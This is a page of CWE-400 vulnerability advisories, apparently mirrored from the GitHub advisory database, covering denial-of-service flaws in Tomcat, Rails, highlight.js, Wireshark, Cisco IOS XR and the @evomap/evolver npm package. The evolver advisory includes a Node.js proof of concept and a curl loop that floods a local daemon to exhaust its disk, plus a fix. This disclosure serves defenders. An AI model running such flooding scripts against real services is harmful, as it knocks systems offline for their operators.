Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5623 vulnerabilities reference this CWE, most recent first.

GHSA-7WJ2-48C4-2684

Vulnerability from github – Published: 2022-04-29 01:27 – Updated: 2023-09-18 22:40
VLAI
Summary
Apache Tomcat Denial of Service vulnerability in the Catalina package
Details

The Catalina org.apache.catalina.connector.http package in Tomcat 4.0.x up to 4.0.6 allows remote attackers to cause a denial of service via several requests that do not follow the HTTP protocol, which causes Tomcat to reject later requests.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2003-0866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-18T22:40:43Z",
    "nvd_published_at": "2003-11-17T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "The Catalina org.apache.catalina.connector.http package in Tomcat 4.0.x up to 4.0.6 allows remote attackers to cause a denial of service via several requests that do not follow the HTTP protocol, which causes Tomcat to reject later requests.",
  "id": "GHSA-7wj2-48c4-2684",
  "modified": "2023-09-18T22:40:43Z",
  "published": "2022-04-29T01:27:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2003-0866"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/13429"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/29dc6c2b625789e70a9c4756b5a327e6547273ff8bde7e0327af48c5@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/c62b0e3a7bf23342352a5810c640a94b6db69957c5c19db507004d74@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb71997f506c6cc8b530dd845c084995a9878098846c7b4eacfae8db3@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=215506"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30899"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30908"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-239312-1"
    },
    {
      "type": "WEB",
      "url": "http://tomcat.apache.org/security-4.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2003/dsa-395"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/8824"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1979/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Apache Tomcat Denial of Service vulnerability in the Catalina package"
}

GHSA-7WJX-3G7J-8584

Vulnerability from github – Published: 2021-05-05 19:49 – Updated: 2023-08-08 16:06
VLAI
Summary
Possible DoS Vulnerability in Action Controller Token Authentication
Details

There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.

Versions Affected: >= 4.0.0 Not affected: < 4.0.0 Fixed Versions: 6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6

Impact

Impacted code uses authenticate_or_request_with_http_token or authenticate_with_http_token for request authentication. Impacted code will look something like this:

class PostsController < ApplicationController
  before_action :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_token do |token, options|
      # ...
    end
  end
end

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue:

module ActionController::HttpAuthentication::Token
  AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
end

Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

  • 5-2-http-authentication-dos.patch - Patch for 5.2 series
  • 6-0-http-authentication-dos.patch - Patch for 6.0 series
  • 6-1-http-authentication-dos.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.3.6"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.1.3.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.5"
            },
            {
              "fixed": "5.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.4.5"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.2.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-22904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T19:48:31Z",
    "nvd_published_at": "2021-06-11T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.\n\nVersions Affected:  \u003e= 4.0.0\nNot affected:       \u003c 4.0.0\nFixed Versions:     6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6\n\nImpact\n------\nImpacted code uses `authenticate_or_request_with_http_token` or `authenticate_with_http_token` for request authentication.  Impacted code will look something like this:\n\n```\nclass PostsController \u003c ApplicationController\n  before_action :authenticate\n\n  private\n\n  def authenticate\n    authenticate_or_request_with_http_token do |token, options|\n      # ...\n    end\n  end\nend\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch placed in an initializer can be used to work around the issue:\n\n```ruby\nmodule ActionController::HttpAuthentication::Token\n  AUTHN_PAIR_DELIMITERS = /(?:,|;|\\t)/\nend\n```\n\nPatches\n-------\nTo aid users who aren\u0027t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 5-2-http-authentication-dos.patch - Patch for 5.2 series\n* 6-0-http-authentication-dos.patch - Patch for 6.0 series\n* 6-1-http-authentication-dos.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\nThank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!",
  "id": "GHSA-7wjx-3g7j-8584",
  "modified": "2023-08-08T16:06:25Z",
  "published": "2021-05-05T19:49:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22904"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1101125"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2021-22904-possible-dos-vulnerability-in-action-controller-token-authentication/77869"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rails/rails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v5.2.4.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v5.2.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v6.0.3.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v6.1.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/CVE-2021-22904.yml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/rubyonrails-security/c/Pf1TjkOBdyQ"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210805-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible DoS Vulnerability in Action Controller Token Authentication"
}

GHSA-7WWV-VH3V-89CQ

Vulnerability from github – Published: 2020-12-04 16:47 – Updated: 2022-05-03 08:27
VLAI
Summary
ReDOS vulnerabities: multiple grammars
Details

Impact: Potential ReDOS vulnerabilities (exponential and polynomial RegEx backtracking)

oswasp:

The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.

If are you are using Highlight.js to highlight user-provided data you are possibly vulnerable. On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).

This is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable. If you are using highlightAuto to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library require('highlight.js/lib/common') as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js

All versions prior to 10.4.1 are vulnerable, including version 9.18.5.

Grammars with exponential backtracking issues:

  • c-like (c, cpp, arduino)
  • handlebars (htmlbars)
  • gams
  • perl
  • jboss-cli
  • r
  • erlang-repl
  • powershell
  • routeros
  • livescript (10.4.0 and 9.18.5 included this fix)
  • javascript & typescript (10.4.0 included partial fixes)

And of course any aliases of those languages have the same issue. ie: hpp is no safer than cpp.

Grammars with polynomial backtracking issues:

  • kotlin
  • gcode
  • d
  • aspectj
  • moonscript
  • coffeescript/livescript
  • csharp
  • scilab
  • crystal
  • elixir
  • basic
  • ebnf
  • ruby
  • fortran/irpf90
  • livecodeserver
  • yaml
  • x86asm
  • dsconfig
  • markdown
  • ruleslanguage
  • xquery
  • sqf

And again: any aliases of those languages have the same issue. ie: ruby and rb share the same ruby issues.

Patches

  • Version 10.4.1 resolves these vulnerabilities. Please upgrade.

Workarounds / Mitigations

  • Discontinue use the affected grammars. (or perhaps use only those with poly vs exponential issues)
  • Attempt cherry-picking the grammar fixes into older versions...
  • Attempt using newer CDN versions of any affected languages. (ie using an older CDN version of the library with newer CDN grammars). Your mileage may vary.

References

  • https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

For more information

If you have any questions or comments about this advisory: * Open an issue: https://github.com/highlightjs/highlight.js/issues * Email us at security@highlightjs.com

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "highlight.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "10.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@highlightjs/cdn-assets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-04T16:46:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact: Potential ReDOS vulnerabilities (exponential and polynomial RegEx backtracking)\n\n[oswasp](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS): \n\n\u003e The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\n\nIf are you are using Highlight.js to highlight user-provided data you are possibly vulnerable.  On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).\n\nThis is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable.  If you are using `highlightAuto` to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library `require(\u0027highlight.js/lib/common\u0027)` as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js\n\nAll versions prior to 10.4.1 are vulnerable, including version 9.18.5. \n\n**Grammars with exponential backtracking issues:**\n\n  - c-like (c, cpp, arduino)\n  - handlebars (htmlbars)\n  - gams\n  - perl\n  - jboss-cli\n  - r\n  - erlang-repl\n  - powershell\n  - routeros\n  - livescript (10.4.0 and 9.18.5 included this fix)\n  - javascript \u0026 typescript (10.4.0 included partial fixes)\n\nAnd of course any aliases of those languages have the same issue. ie: `hpp` is no safer than `cpp`.\n\n**Grammars with polynomial backtracking issues:**\n\n- kotlin\n- gcode\n- d\n- aspectj\n- moonscript\n- coffeescript/livescript\n- csharp\n- scilab\n- crystal\n- elixir\n- basic\n- ebnf\n- ruby\n- fortran/irpf90\n- livecodeserver\n- yaml\n- x86asm\n- dsconfig\n- markdown\n- ruleslanguage\n- xquery\n- sqf\n\nAnd again: any aliases of those languages have the same issue. ie: `ruby` and `rb` share the same ruby issues.\n\n\n### Patches\n\n- Version 10.4.1 resolves these vulnerabilities.  Please upgrade.\n\n### Workarounds / Mitigations\n\n- Discontinue use the affected grammars. (or perhaps use only those with poly vs exponential issues)\n- Attempt cherry-picking the grammar fixes into older versions...\n- Attempt using newer CDN versions of any affected languages.  (ie using an older CDN version of the library with newer CDN grammars).  Your mileage may vary.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue: https://github.com/highlightjs/highlight.js/issues\n* Email us at [security@highlightjs.com](mailto:security@highlightjs.com)",
  "id": "GHSA-7wwv-vh3v-89cq",
  "modified": "2022-05-03T08:27:45Z",
  "published": "2020-12-04T16:47:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/highlightjs/highlight.js/security/advisories/GHSA-7wwv-vh3v-89cq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/highlightjs/highlight.js/commit/373b9d862401162e832ce77305e49b859e110f9c"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@highlightjs/cdn-assets"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/highlight.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "ReDOS vulnerabities: multiple grammars"
}

GHSA-7X56-PWR8-339Q

Vulnerability from github – Published: 2022-05-17 00:33 – Updated: 2025-04-20 03:46
VLAI
Details

In Wireshark 2.4.0 to 2.4.1 and 2.2.0 to 2.2.9, the MBIM dissector could crash or exhaust system memory. This was addressed in epan/dissectors/packet-mbim.c by changing the memory-allocation approach.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-15193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-10T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Wireshark 2.4.0 to 2.4.1 and 2.2.0 to 2.2.9, the MBIM dissector could crash or exhaust system memory. This was addressed in epan/dissectors/packet-mbim.c by changing the memory-allocation approach.",
  "id": "GHSA-7x56-pwr8-339q",
  "modified": "2025-04-20T03:46:32Z",
  "published": "2022-05-17T00:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15193"
    },
    {
      "type": "WEB",
      "url": "https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=14056"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/23537"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/gitweb?p=wireshark.git%3Ba=commit%3Bh=afb9ff7982971aba6e42472de0db4c1bedfc641b"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=commit;h=afb9ff7982971aba6e42472de0db4c1bedfc641b"
    },
    {
      "type": "WEB",
      "url": "https://www.wireshark.org/security/wnpa-sec-2017-43.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101240"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XC2-HQ29-896Q

Vulnerability from github – Published: 2025-09-10 18:30 – Updated: 2025-09-10 18:30
VLAI
Details

A vulnerability in the Address Resolution Protocol (ARP) implementation of Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to trigger a broadcast storm, leading to a denial of service (DoS) condition on an affected device. 

This vulnerability is due to how Cisco IOS XR Software processes a high, sustained rate of ARP traffic hitting the management interface. Under certain conditions, an attacker could exploit this vulnerability by sending an excessive amount of traffic to the management interface of an affected device, overwhelming its ARP processing capabilities. A successful exploit could result in degraded device performance, loss of management connectivity, and complete unresponsiveness of the system, leading to a DoS condition.

Severity
7.4 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T16:15:36Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Address Resolution Protocol (ARP) implementation of Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to trigger a broadcast storm, leading to a denial of service (DoS) condition on an affected device.\u0026nbsp;\n\nThis vulnerability is due to how Cisco IOS XR Software processes a high, sustained rate of ARP traffic hitting the management interface. Under certain conditions, an attacker could exploit this vulnerability by sending an excessive amount of traffic to the management interface of an affected device, overwhelming its ARP processing capabilities. A successful exploit could result in degraded device performance, loss of management connectivity, and complete unresponsiveness of the system, leading to a DoS condition.",
  "id": "GHSA-7xc2-hq29-896q",
  "modified": "2025-09-10T18:30:15Z",
  "published": "2025-09-10T18:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20340"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-arp-storm-EjUU55yM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XP7-M392-H92C

Vulnerability from github – Published: 2026-05-05 21:15 – Updated: 2026-05-05 21:15
VLAI
Summary
@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS
Details

Summary

The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the POST /asset/submit route persists the full request body — verbatim and uncapped — as a JSONL line in <dataDir>/messages.jsonl. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via fs.readFileSync, making the OOM/crash persistent.

Details

1. Entry — unbounded body parser (src/proxy/server/http.js:9-21):

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

There is no Content-Length validation and no cumulative-bytes cap on chunks.

2. Route — no schema or size validation (src/proxy/server/routes.js:75-85):

'POST /asset/submit': async ({ body }) => {
  if (!body.assets && !body.asset_id) {
    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });
  }
  const result = store.send({
    type: 'asset_submit',
    payload: body,
    priority: body.priority || 'normal',
  });
  return { body: result };
}

The full body (including arbitrarily large body.assets[*].blob) is forwarded to store.send() as the message payload. POST /mailbox/send has the same shape.

3. Sink — unbounded JSONL append (src/proxy/mailbox/store.js):

// line 71-73
function appendLine(filePath, obj) {
  fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');
}

// line 189-209: send() builds a message wrapping the payload and calls _appendMessage
// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)

Every /asset/submit or /mailbox/send request appends one JSONL line proportional in size to the request body. compact() (line 381) only re-writes existing messages; it does not drop or truncate large rows.

4. Persistence on restart (src/proxy/mailbox/store.js):

// line 75-86
function readLines(filePath) {
  if (!fs.existsSync(filePath)) return [];
  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file
  ...
}
// line 143-164: _rebuildIndex() called from constructor reads every line

A multi-GB messages.jsonl will OOM the daemon on every startup, making the DoS persistent across restarts.

5. Auth model (recon.json, confirmed by inspection of src/proxy/server/http.js:38 server.listen(port, '127.0.0.1', ...)):

"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes."

Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.

6. Why not by-design. The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. appendFailedCapsule with FAILED_CAPSULES_MAX = 200); the absence of any cap on the mailbox path is inconsistent.

PoC

Run from the repo root:

// poc-asset-submit.js
const http=require('http'),fs=require('fs'),os=require('os'),path=require('path');
const {MailboxStore}=require('./src/proxy/mailbox/store');
const {ProxyHttpServer}=require('./src/proxy/server/http');
const {buildRoutes}=require('./src/proxy/server/routes');
(async()=>{
  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));
  const store=new MailboxStore(dir);
  const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};
  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});
  await srv.start();
  const send=(mb)=>new Promise((res,rej)=>{
    const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}';
    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});
    req.on('error',rej); req.write(body); req.end();
  });
  for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}
  await srv.stop(); fs.rmSync(dir,{recursive:true});
})();

Verified output:

messages.jsonl= 10486078 bytes
messages.jsonl= 20972156 bytes
messages.jsonl= 31458234 bytes

Live exploitation against a running daemon (default port 19820):

printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json
for i in $(seq 1 1000); do
  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit
done

<dataDir>/messages.jsonl grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.

Impact

  • Disk exhaustion of <dataDir> filesystem (default ~/.evomap/mailbox/). Shared filesystems mean co-located services can crash too.
  • Persistent denial of service: on daemon restart, _rebuildIndex() synchronously reads the whole messages.jsonl via fs.readFileSync, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.
  • Memory exhaustion during the attack: Buffer.concat(chunks).toString() materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.
  • Reachable from low-privilege local actors: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.

Recommended Fix

  1. Cap body size in parseBody() (src/proxy/server/http.js):
const MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const declared = Number(req.headers['content-length']);
    if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) {
      const err = new Error('Request body too large');
      err.statusCode = 413;
      return reject(err);
    }
    const chunks = [];
    let received = 0;
    req.on('data', c => {
      received += c.length;
      if (received > MAX_BODY_BYTES) {
        const err = new Error('Request body too large');
        err.statusCode = 413;
        req.destroy();
        return reject(err);
      }
      chunks.push(c);
    });
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

  1. Add a per-message payload-size budget in MailboxStore.send() / writeInbound() (src/proxy/mailbox/store.js) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.

  2. Reject specifically large body.assets[*].blob / body.payload shapes in /asset/submit and /mailbox/send handlers in src/proxy/server/routes.js before calling store.send().

  3. (Defense in depth) In _rebuildIndex(), switch readLines() to a streaming line reader (readline.createInterface over fs.createReadStream) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.70.0-beta.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.70.0-beta.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:15:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe EvoMap proxy daemon\u0027s HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body \u2014 verbatim and uncapped \u2014 as a JSONL line in `\u003cdataDir\u003e/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent.\n\n## Details\n\n**1. Entry \u2014 unbounded body parser** (`src/proxy/server/http.js:9-21`):\n\n```js\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const chunks = [];\n    req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\nThere is no Content-Length validation and no cumulative-bytes cap on `chunks`.\n\n**2. Route \u2014 no schema or size validation** (`src/proxy/server/routes.js:75-85`):\n\n```js\n\u0027POST /asset/submit\u0027: async ({ body }) =\u003e {\n  if (!body.assets \u0026\u0026 !body.asset_id) {\n    throw Object.assign(new Error(\u0027assets or asset_id is required\u0027), { statusCode: 400 });\n  }\n  const result = store.send({\n    type: \u0027asset_submit\u0027,\n    payload: body,\n    priority: body.priority || \u0027normal\u0027,\n  });\n  return { body: result };\n}\n```\n\nThe full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape.\n\n**3. Sink \u2014 unbounded JSONL append** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 71-73\nfunction appendLine(filePath, obj) {\n  fs.appendFileSync(filePath, JSON.stringify(obj) + \u0027\\n\u0027, \u0027utf8\u0027);\n}\n\n// line 189-209: send() builds a message wrapping the payload and calls _appendMessage\n// line 166-171: _appendMessage(msg) -\u003e appendLine(this._messagesFile, msg)\n```\n\nEvery `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows.\n\n**4. Persistence on restart** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 75-86\nfunction readLines(filePath) {\n  if (!fs.existsSync(filePath)) return [];\n  const content = 